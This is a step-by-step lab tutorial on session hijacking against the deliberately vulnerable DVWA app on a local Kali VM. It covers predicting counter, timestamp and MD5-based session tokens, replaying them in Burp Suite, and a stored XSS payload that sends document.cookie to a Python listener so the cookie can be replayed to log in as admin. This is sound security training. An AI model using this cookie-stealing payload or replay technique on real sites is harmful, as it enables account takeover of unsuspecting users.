Exploit Session Hijacking in DVWA

Steal and replay session cookies to hijack authenticated users in DVWA.

Introduction

30 Second Summary

Every time you log into a website, you get an invisible pass that proves you are who you say you are. If someone steals or guesses that pass, they can walk into your account without ever knowing your password.

In this project, you will exploit weak session management in a deliberately vulnerable web application. You will predict session tokens, intercept HTTP traffic, crack hashed IDs, and ultimately steal a live cookie to hijack an authenticated session.

What You'll Build

You will run a complete session hijacking attack chain where you inject a malicious script into a web page, watch a stolen cookie arrive at your listener in real time, and then use it to log in as the victim without touching their password.

By the end of this project, you'll have:

  • A penetration testing lab with DVWA running on Kali Linux, where you can crack session tokens at three escalating difficulty levels (sequential counter, timestamp, MD5 hash) and predict the next value before it is generated.
  • A working Burp Suite interception workflow where you capture live HTTP traffic, send requests to Repeater, and prove that a predicted session token is accepted by the server.
  • A full session hijacking attack where you inject a stored XSS payload that silently exfiltrates a victim's cookie to a Python listener you control, then replay that cookie to log in as them without knowing their password.
  • Secret Mission: Use the hijacked session to escalate privileges and change the admin password via a CSRF endpoint, proving full account takeover.

Are there any prerequisites?

You need a Kali Linux virtual machine running (any recent version) with Burp Suite Community Edition already installed. Both come pre-installed on standard Kali images.

Before We Start

Before we dive in, let's lock in what you're about to build and why it matters.

You're going to exploit session management vulnerabilities at three escalating difficulty levels, then perform a full session hijack by stealing a live cookie through a cross-site scripting attack.

Install and Launch DVWA on Kali

Every session hijacking attack needs a target. You cannot practice these techniques against real websites without breaking the law.

To solve this, you will install DVWA (Damn Vulnerable Web Application) on your Kali Linux VM. DVWA is a deliberately vulnerable web app designed for security training. It gives you a legal, isolated playground to exploit real vulnerabilities.

In this step, get ready to:
  • Install DVWA and its dependencies on Kali Linux.
  • Launch DVWA and log in with default credentials.
  • Initialize the database and set the security level to Low.
Install DVWA and start the service

Kali Linux has DVWA as a native package. One command installs everything you need: the web server (nginx), the database (MariaDB), and PHP.

  • Open a terminal in Kali by right-clicking the desktop and selecting Open Terminal Here, or by clicking the terminal icon in the taskbar.
  • Install DVWA and all its dependencies by running this command:
sudo apt update && sudo apt install dvwa -y

What does this command do?

This is two commands joined by &&. The first (sudo apt update) refreshes your package list so Kali knows about the latest software. The second (sudo apt install dvwa -y) installs DVWA and automatically pulls in nginx, PHP, and MariaDB as dependencies.

The -y flag auto-confirms the installation so you do not have to type "yes" manually.

  • Wait for the installation to finish. You will see package download progress and setup messages.
  • Once the install completes, start DVWA by running:
dvwa-start

What should I see?

The command may prompt for your password (the default Kali password is kali). After entering it, you should see a message confirming the web UI is available at http://127.0.0.1:42001. It also displays the default credentials (admin/password).

Firefox may open automatically. If it does not, you will open it manually in the next substep.

Seeing a service failure error?

If you see an error about the database already existing, run dvwa-stop and then dvwa-start again. This can happen if a previous installation left behind database files.

If you see a permissions error, make sure you entered your password correctly when prompted.

Help me troubleshoot a dvwa-start failure on Kali Linux.

Log in and initialize the database

DVWA is running, but it still needs its database tables created before the vulnerability modules work.

  • Open Firefox (if it did not open automatically) by clicking the Firefox icon in the Kali taskbar.
  • Navigate to the following URL in the address bar:
http://127.0.0.1:42001

Before the page loads, what do you expect to see? Take a moment to predict.

You should see the DVWA login page with fields for username and password.

  • Enter admin in the Username field.
  • Enter password in the Password field.
  • Click Login.

You are now on the DVWA dashboard. The left sidebar shows all the available vulnerability modules.

  • Click Setup / Reset DB in the left menu.
  • Scroll down and click the Create / Reset Database button.

What does this button do?

This creates all the database tables that DVWA's vulnerability modules need. It populates sample data like user accounts and guestbook entries that you will exploit later.

After clicking, DVWA redirects you to the login page. This is normal. You need to log in again.

  • Log in again with username admin and password password.

Seeing a blank page after clicking the button?

If the page goes blank instead of redirecting to login, try refreshing the page manually. Then navigate back to http://127.0.0.1:42001 and log in. The database should have been created successfully.

Help me fix DVWA not redirecting after database setup.

Set the security level to Low

DVWA has four security levels: Low, Medium, High, and Impossible. Each level uses progressively stronger protections. You will start at Low so the session generation weaknesses are clearly visible.

  • Click DVWA Security in the left menu.
  • In the dropdown, select Low.
  • Click Submit.

The page confirms the security level is now set to Low. This configures DVWA to use intentionally weak session generation.

Why start at Low?

At Low security, DVWA generates session IDs using a simple counter (1, 2, 3). This makes the weakness obvious and lets you build intuition before tackling harder levels where the patterns are disguised behind timestamps and hashes.

Your penetration testing lab is up and running. Next up, you will discover how sessions work under the hood and attempt to predict weak session IDs.

Discover How Sessions Work and Predict Weak IDs

Every time you log into a website, the server creates a session and hands your browser a small token (a cookie) to prove your identity on future requests. If an attacker can guess or steal that token, they become you.

In this step, you will inspect how sessions and cookies work in your browser, then exploit DVWA's intentionally weak session generator to predict tokens before they are even created.

In this step, get ready to:
  • Inspect your authentication cookies in Firefox DevTools.
  • Identify a predictable pattern in DVWA's session ID generator.
  • Manually edit a cookie to demonstrate client-side control.
Inspect your session cookies in DevTools

Your browser is already storing cookies from DVWA that prove you are logged in. These cookies travel with every request you make, acting like a backstage pass that says "this person already showed their credentials."

  • In Firefox with DVWA open, press F12 to open Developer Tools.
  • Click the Storage tab in the DevTools panel.
  • Expand Cookies in the left sidebar and click on the DVWA URL (http://127.0.0.1:42001).

You should see two cookies listed: PHPSESSID and security.

What are these cookies?

PHPSESSID is your real authentication session. Notice it is a long random string of letters and numbers. This is what keeps you logged in to DVWA. Every request your browser sends includes this cookie so the server knows who you are.

The security cookie stores your current DVWA difficulty level ("low"). This is the target you will eventually learn to steal in a later step.

Don't see any cookies?

Make sure you are logged into DVWA. If the cookie list is empty, refresh the DVWA page while DevTools is open. The Storage tab only shows cookies for the current domain.

Help me find cookies in Firefox DevTools

Generate weak session IDs and spot the pattern

Now you know where cookies live. The next question is: how does the server decide what value to put in a session cookie? If the value is predictable, an attacker does not need to steal it. They can simply guess it.

  • In the DVWA left-hand menu, click Weak Session IDs.
  • Click the Generate button.
  • Switch to the Storage tab in DevTools and look at the cookies. You will see a new cookie called dvwaSession has appeared.
  • Note the value of dvwaSession (it should be 1).
  • Click Generate again and check the cookie value. It changes to 2.
  • Click Generate one more time. The value is now 3.

The pattern is obvious: it is a simple incrementing counter. Each click adds 1.

Before you click Generate again, what do you think the next dvwaSession value will be?

  • Click Generate and check DevTools to confirm your prediction.

The value is 4. You just predicted a session token. If this were a real application, you could guess another user's active session ID and impersonate them.

Why is a counter dangerous?

If a server assigns session IDs as 1, 2, 3, 4... then user #5 knows that users #1 through #4 exist. They can set their cookie to any of those values and become that person. No password required.

A secure session ID must be long, random, and unpredictable. Compare the PHPSESSID cookie (long random string) to dvwaSession (single digit). One is secure. The other is broken.

dvwaSession cookie not appearing?

Make sure you are on the Weak Session IDs page and have clicked Generate at least once. If you still do not see it, click the refresh icon in the DevTools Storage panel to reload the cookie list.

Also confirm your security level is set to Low. A different level changes how the cookie is generated.

Help me find the dvwaSession cookie in DevTools

Edit a cookie to prove client-side control

Cookies are stored in your browser, not locked away on the server. This means anyone can edit them freely. You will now change the dvwaSession cookie to a value you never generated, proving that client-side manipulation is trivial.

  • In the DevTools Storage tab, find the dvwaSession cookie row.
  • Double-click the value column (the number) to make it editable.
  • Change the value to 100 and press Enter.

The cookie now reads 100. You jumped from 4 to 100 with a double-click. No server permission needed.

What does this prove?

In a real application with this same weakness, if another user's session ID were 5, you could set your cookie to 5 and the server would treat you as that person.

The dvwaSession cookie in this module is isolated. It does not grant real access like PHPSESSID does. But the principle is identical. In Step 5, you will steal the real PHPSESSID cookie using a cross-site scripting attack.

Cookie value not changing?

Make sure you double-clicked directly on the value cell (the number), not the cookie name. After typing 100, press Enter to confirm. If the value reverts, try clicking away from the cell first to deselect, then double-click again.

Help me edit a cookie value in Firefox DevTools

You have proven that session cookies at DVWA's Low level are trivially predictable and editable. A simple counter offers zero security. But what happens when the server tries harder to hide the pattern? In the next step, you will use Burp Suite to intercept traffic and crack a timestamp-based session that looks random at first glance.

Intercept and Reverse-Engineer Timestamp-Based Sessions

In Step 2, you cracked DVWA's weakest session generation by watching a counter tick up by one. That was the warm-up.

At Medium security, the session token becomes a 10-digit number that looks random. Your simple counting approach from the last step will not work here. You need a more powerful interception tool and some analytical thinking to identify the pattern hiding in plain sight.

In this step, get ready to:
  • Identify the new session token format at Medium security.
  • Intercept HTTP traffic with Burp Suite to see full request and response details.
  • Predict a future session token and prove it works.
Switch DVWA to Medium security and observe the new tokens

The Low-level counter was obvious. Medium security hides the predictability behind a different number format. Your job is to figure out what that format is.

  • In Firefox, return to the DVWA page you already have open.
  • Click DVWA Security in the left menu.
  • Select Medium from the dropdown.
  • Click Submit.
  • Click Weak Session IDs in the left menu.
  • Click the Generate button.

Now check what was generated. Press F12 to open Developer Tools, click the Storage tab, expand Cookies, and click the DVWA URL.

  • Look at the dvwaSession cookie value. It is now a 10-digit number like 1752796800.
  • Click Generate again and check the new value.

The two values are different but close together. They are not counting up by one anymore. They are not random either.

What are these 10-digit numbers?

These are Unix timestamps. A Unix timestamp counts the number of seconds that have elapsed since January 1, 1970. Every time you click Generate, DVWA records the current time in seconds.

You can verify this yourself. Copy the dvwaSession value, open a new tab, navigate to https://www.epochconverter.com/, paste the value, and click convert. It shows the exact date and time you clicked Generate.

  • Copy the current dvwaSession value from DevTools.
  • Open a new Firefox tab and navigate to https://www.epochconverter.com/.
  • Paste the value into the timestamp input field and click the convert button.

The converter shows the exact date and time you clicked Generate. This confirms the session token is just a Unix timestamp.

Value does not match a recent time?

Make sure you copied the dvwaSession cookie, not PHPSESSID. The PHPSESSID is a long alphanumeric string, not a 10-digit number.

If the timestamp is off by hours, your VM's clock might be skewed. The pattern (timestamp-based generation) is still confirmed even if the clock is slightly off.

help me understand why my dvwaSession cookie value doesn't convert to a recent timestamp

Capture the request in Burp Suite

You have identified the pattern. Now you need a tool that can intercept and replay HTTP requests. Burp Suite lets you see every request your browser sends, modify it, and resend it.

  • Open Burp Suite from the Kali applications menu (look under Web Application Analysis), or type burpsuite in a terminal and press Enter.
  • On the startup screen, accept the defaults and click Next, then Start Burp.

Why use Burp's built-in browser?

Burp Suite includes its own browser that is already configured to route all traffic through Burp's proxy. This means you do not need to configure Firefox's proxy settings or install a CA certificate. It works out of the box.

  • In Burp, click the Proxy tab at the top.
  • Click Open Browser to launch Burp's built-in browser.

A Chromium-based browser window opens. Everything this browser does is captured by Burp.

  • In Burp's browser, navigate to http://127.0.0.1:42001.
  • Log in with username admin and password password.
  • Click DVWA Security in the left menu, select Medium, and click Submit.
  • Click Weak Session IDs in the left menu.
  • Click the Generate button.

Now switch back to Burp Suite to see what was captured.

  • In Burp, click the Proxy tab, then click HTTP history.
  • Look for the POST request to the Weak Session IDs endpoint. Click on it.

In the lower panel, you can see the full request headers (what the browser sent) and the full response headers (what the server replied). Look at the response. You should see a Set-Cookie header containing the dvwaSession value. This is the server telling your browser to store a new session token.

Don't see the POST request in HTTP history?

Make sure you are looking at Burp's HTTP history tab (under Proxy), not the Intercept tab. If Intercept is turned on, Burp holds requests until you click Forward. Turn Intercept off by clicking the toggle so it says Intercept is off, then retry in the browser.

help me find the POST request for DVWA Weak Session IDs in Burp Suite HTTP history

Predict a timestamp and prove it works in Repeater

You know the session ID is a Unix timestamp. You know approximately when a user logs in. That means you can predict their session token. Time to prove it.

  • In Burp's HTTP history, right-click the POST request you found.
  • Select Send to Repeater.
  • Click the Repeater tab at the top of Burp.

You now have an editable copy of the request. Repeater lets you change any part of it and resend it as many times as you like.

What is Burp Repeater?

Repeater is a manual testing tool inside Burp Suite. It lets you take any captured request, modify headers, cookies, or parameters, and resend it to see how the server reacts. Attackers use this to test whether a server validates session tokens or just trusts whatever the client sends.

  • Look at the Cookie: header line in the request. Find the dvwaSession value (the 10-digit timestamp).
  • Calculate a predicted value: take the current dvwaSession number and add 60 to it (predicting a session generated 60 seconds in the future).
  • Replace the dvwaSession value in the Cookie header with your predicted number.

Before you send this request, think about what you expect to happen. Will the server reject the fabricated session value, or will it accept it?

  • Click Send.

Look at the response panel on the right. The server responds with 200 OK. It accepted your fabricated session token without question.

What does this prove?

The server does not validate whether the session token was actually issued. It blindly trusts whatever value the client sends in the cookie. If you know roughly when a victim logged in, you can calculate their session token (it is the Unix timestamp of their login time) and impersonate them.

Compared to the Low level counter (where you needed the exact sequence position), timestamps give you a narrow window of possible values. An attacker could brute-force a few hundred timestamps around the estimated login time and find the correct session within seconds.

Getting a non-200 response?

Make sure you only changed the dvwaSession value in the Cookie header, not any other cookies like PHPSESSID or security. Those must remain intact for the request to authenticate properly.

help me fix my Burp Repeater request that is not returning 200 OK when I change the dvwaSession cookie value

You have proven that timestamp-based sessions are predictable and the server does no validation. Next up, you will face an even trickier defense: session tokens hidden behind cryptographic hashing.

Crack Hash-Protected Session Tokens

In the previous step, you unmasked a timestamp hidden inside a seemingly random number. The session ID looked unpredictable, but Burp Suite revealed the pattern in seconds.

Now DVWA raises the difficulty again. At High security, the session token looks like a completely random 32-character hexadecimal string. Your timestamp trick from the previous step will not work here. You need a new analytical approach to identify what kind of obfuscation is hiding the pattern.

In this step, get ready to:
  • Identify the MD5 hash signature in DVWA's High-level session tokens.
  • Crack the hashes using an online rainbow table to reveal the hidden plaintext.
  • Predict the next session token by generating your own MD5 hash in the terminal.
Change security to High and observe the new cookie format

At High security, DVWA wraps the session ID in a cryptographic hash. The token will no longer look like a number you can eyeball and predict.

  • Switch back to Firefox where DVWA is open.
  • Click DVWA Security in the left menu.
  • Select High from the dropdown and click Submit.
  • Click Weak Session IDs in the left menu to return to the session module.
  • Click the Generate button.
  • Press F12 to open Developer Tools, then click the Storage tab and expand Cookies.
  • Look at the dvwaSession cookie value. It now shows a long string like c4ca4238a0b923820dcc509a6f75849b.
  • Click Generate two more times and note each new cookie value in DevTools.

The values look random, but notice something specific: every single one is exactly 32 characters long and contains only hexadecimal characters (0-9, a-f).

Why 32 hex characters matters

A 32-character hexadecimal string is the signature of an MD5 hash. MD5 always produces a 128-bit output, which renders as exactly 32 hex characters regardless of the input.

If you can identify the hash algorithm, you can attempt to reverse it. That is exactly what you will do next.

Crack the hash with CrackStation

MD5 is a one-way hash function, meaning you cannot mathematically reverse it. However, services like CrackStation maintain massive pre-computed lookup tables that map known inputs to their hashes. If the input is something simple (like a small integer), the hash will be in the table.

  • In DevTools, double-click the dvwaSession cookie value to select it, then copy it.
  • Open a new tab in Firefox and navigate to https://crackstation.net.
  • Paste your copied hash into the text box under Free Password Hash Cracker.
  • Complete the CAPTCHA if one appears, then click Crack Hashes.

CrackStation displays a results table. The Result column shows the plaintext that produced your hash.

What should I see?

If your first hash was c4ca4238a0b923820dcc509a6f75849b, CrackStation reveals the plaintext is 1. If you crack c81e728d9d4c2f636f067f89cc14862c, it reveals 2.

The High level is using the same sequential counter from the Low level. It just hides it behind an MD5 hash. The "randomness" is pure illusion.

  • Go back to the DVWA tab and copy the other dvwaSession values you generated.
  • Paste them into CrackStation (one per line) and crack them to confirm the sequential pattern (1, 2, 3...).

CrackStation showing "Not Found"?

If you generated many sessions before switching to High, the counter may have continued from where it left off at Medium. Try cracking the hash anyway. If it resolves to a number like 15 or 20, the counter simply started higher. The sequential pattern is still present.

If the result truly says "Not Found", double-check you copied the full 32-character string with no trailing spaces.

help me understand why CrackStation cannot find my DVWA session hash

Predict the next session hash from the terminal

Now that you know the High-level token is just MD5 of a counter, you can predict the next session before it is generated. If your last cracked plaintext was 8, the next one will be the MD5 hash of 9.

  • Generate the predicted hash by running this command in your Kali terminal:
echo -n "9" | md5sum

What does this command do?

echo -n "9" outputs the string 9 without a trailing newline. The -n flag is critical because a newline would change the hash entirely.

md5sum reads that input and outputs its MD5 hash. The result is the 32-character string you expect to see as the next dvwaSession cookie.

The terminal outputs something like 45c48cce2e2d7fbdea1afc51c7c6ad26 followed by a dash.

  • Switch back to Firefox, return to the DVWA Weak Session IDs page, and click Generate one more time.
  • Check the dvwaSession cookie value in DevTools.

Before you compare, do you think the new cookie will match the hash you just generated in the terminal?

The cookie value matches your predicted hash exactly. You cracked a hash-protected session token and proved you can predict the next one before it exists.

Why hashing alone does not equal security

MD5 is an obfuscation layer, not a security layer. If the underlying data is predictable (a counter incrementing by 1), the hash output is equally predictable to anyone who knows the algorithm.

Real session tokens need cryptographically secure random number generators that produce unpredictable output. No amount of hashing fixes a weak source of randomness.

Hash does not match?

Make sure you used -n with echo. Without it, a newline character is included in the input, producing a completely different hash.

Also confirm you are hashing the correct number. If your last cracked value was 5, the next prediction should hash 6, not 5.

help me figure out why my predicted MD5 hash does not match the DVWA session cookie

You have now broken session tokens at all three DVWA difficulty levels. A counter, a timestamp, and a hashed counter all fell to basic analysis. Next up, you will use a completely different attack vector: stealing a real, active session cookie directly from a victim's browser using cross-site scripting.

Steal a Live Session with XSS Cookie Theft

You have cracked MD5-hashed session tokens and proven that hashing a weak input does not create a strong output. Now it is time for the most powerful session hijacking technique: stealing a real user's active session cookie while they browse.

Instead of predicting what a token will be, you will inject malicious JavaScript into a page that silently sends the victim's cookie to a server you control. Then you will paste that cookie into your own browser and gain instant access to their account.

In this step, get ready to:
  • Start a Python HTTP listener to catch stolen cookies.
  • Inject a stored XSS payload that exfiltrates the victim's session cookie.
  • Replay the stolen cookie in a new browser session to hijack the account.
Set DVWA to Low and start a cookie listener

The Stored XSS vulnerability is exploitable at Low security, which removes input sanitization. You also need a server ready to receive the stolen cookies when the payload fires.

  • Return to the DVWA browser tab in Firefox.
  • Click DVWA Security in the left menu.
  • Select Low from the dropdown, then click Submit.

Now you need a second terminal to run a listener that stays open while you continue working in Firefox.

  • Right-click on the Kali desktop and select Open Terminal Here to open a second terminal window.
  • Start a simple HTTP listener on port 8888 by running this command:
python3 -m http.server 8888

You should see output like Serving HTTP on 0.0.0.0 port 8888.

What does this listener do?

Python's built-in HTTP server logs every incoming request to the terminal. When your XSS payload fires, it sends the victim's cookies as a URL parameter to this server. You will see the stolen cookie value appear right in this terminal window.

  • Leave this terminal open and running. Do not close it or press Ctrl+C.

Seeing 'Address already in use'?

Another process is using port 8888. Run lsof -i :8888 to find it, then kill it with kill <PID> and retry.

Help me fix the 'Address already in use' error on port 8888

Inject the XSS payload into the guestbook

DVWA's Stored XSS module simulates a guestbook where messages are permanently stored and displayed to every visitor. Any JavaScript you inject will execute in the browser of anyone who views the page.

  • Switch back to your Firefox tab with DVWA open.
  • Click XSS (Stored) in the left menu.
  • In the Name field, type any short name (e.g. test).
  • In the Message field, paste the following XSS payload:
<script>new Image().src="http://127.0.0.1:8888/steal?cookie="+document.cookie;</script>
  • Click Sign Guestbook.

The payload is now stored in the page permanently. Every time any user loads this guestbook, their cookies are silently sent to your listener.

What does this payload do?

The <script> tag runs JavaScript in the victim's browser. It creates a new Image object and sets its src to your listener's URL.

The browser tries to load that "image" and sends a GET request to your server. The document.cookie value (containing the PHPSESSID) is appended to the URL as a query string. The victim never sees anything happen.

  • Switch to your Python listener terminal now.

You should see an incoming GET request that contains /steal?cookie= followed by the PHPSESSID value and the security cookie in the URL.

Don't see a request in your listener?

Make sure the Python server is still running (you did not press Ctrl+C). Go back to Firefox and reload the XSS (Stored) page. Each page load triggers the payload again and sends a new request to your listener.

Why isn't my XSS payload sending cookies to my listener?

Replay the stolen cookie to hijack the session

You now have a real PHPSESSID value captured by your listener. This is the key that proves identity to the server. If you present it in a completely separate browser session, the server will treat you as that authenticated user.

  • In your Python listener terminal, find the GET request line. Locate the value after PHPSESSID= and copy it (it will be a long alphanumeric string).
  • Open a new Private Window in Firefox by pressing Ctrl+Shift+P.

Why a Private Window?

A Private Window starts with a completely fresh session. It has no cookies, no history, and no existing login. This simulates being a different person on a different machine.

  • In the Private Window, navigate to http://127.0.0.1:42001. You will see the DVWA login page (you are not logged in).
  • Press F12 to open DevTools.
  • Click the Storage tab.
  • Expand Cookies and click on http://127.0.0.1:42001.
  • Double-click to add a new cookie. Set the name to PHPSESSID and paste the stolen value.
  • Add a second cookie with name security and value low.

Before you navigate, think about what you expect to happen. You have not entered any username or password. Will the server let you in with just the stolen cookie?

  • In the Private Window address bar, navigate to http://127.0.0.1:42001/index.php.

You are now logged in as admin without entering any credentials. The DVWA dashboard loads with the admin username displayed. This is a complete session hijack.

Why does this work?

The server identifies users solely by the PHPSESSID cookie. It has no way to know whether the cookie was issued to your browser legitimately or pasted in by an attacker.

This is exactly how session hijacking works in the real world. An attacker injects XSS into a page, waits for a victim to visit, and their session cookie arrives at the attacker's server. From there, the attacker has full access to the victim's account.

Still seeing the login page after setting the cookie?

Make sure you typed PHPSESSID exactly (all uppercase). Also check that you copied the full cookie value with no extra spaces or line breaks.

If the original session expired, go back to the regular Firefox window, reload the XSS (Stored) page to trigger a fresh cookie steal, and use the new value.

Why isn't my stolen PHPSESSID cookie letting me in to DVWA?

You have just completed a full session hijacking attack chain. Next up, you will escalate this access into a permanent account takeover by changing the admin password.

Secret mission

Escalate to Admin Account Takeover

You have a hijacked session. But sessions expire. Can you turn temporary access into permanent control by changing the admin password using a CSRF attack chained with the stolen cookie?

Clean Up Your Resources

Clean Up Your Resources

Decide whether to keep your resources installed, leave them paused to come back later, or delete them entirely. This project runs entirely locally on your Kali VM, so there are no ongoing costs.

Resources you used:

  • DVWA (installed via apt, includes nginx, PHP, and MariaDB dependencies).
  • Burp Suite Community Edition (pre-installed on Kali Linux).
  • Python 3 HTTP server (ephemeral process, already stopped).

Keep everything running

No action needed. Choose this if you plan to continue practising with DVWA or explore other vulnerability modules.

  • DVWA remains installed and ready to start again with dvwa-start whenever you want to practise.
  • Burp Suite stays available in your Kali applications menu.
  • No background processes are running. DVWA was already stopped with dvwa-stop during the Secret Mission cleanup.

Pause - I'll come back to this later

DVWA is already stopped from the cleanup you performed in the Secret Mission. No further action is needed to pause.

  • DVWA services (nginx, PHP-FPM, MariaDB) are not running. No memory or CPU is being used.
  • To resume later, open a terminal and run dvwa-start to bring everything back up.
  • Your DVWA database was reset during cleanup, so you will start fresh next time.

Delete - I don't want to use this again

Remove DVWA and its dependencies from your Kali system entirely.

  • Uninstall DVWA and remove its configuration files by running:
sudo apt remove --purge dvwa -y
  • Remove any leftover dependencies that were installed alongside DVWA by running:
sudo apt autoremove -y
  • Burp Suite is part of your Kali installation and does not need to be removed.

Nice Work!

Nice Work!

You just completed a full session hijacking attack chain against a deliberately vulnerable web application. From predicting trivial counters to stealing live cookies with XSS, you now understand exactly how attackers exploit weak session management.

You've learned how to:

  • Identify and exploit weak session tokens at three escalating difficulty levels by recognizing patterns in sequential counters, Unix timestamps, and MD5 hashes of predictable values.
  • Intercept and manipulate HTTP traffic using Burp Suite to analyze session generation and replay predicted tokens against a server.
  • Steal a live PHPSESSID cookie by injecting a Stored XSS payload and replay it to impersonate an authenticated user without knowing their password.
  • Secret Mission: Escalate a hijacked session to full account takeover by chaining CSRF with session theft to permanently change the admin password.

Ready to quiz yourself?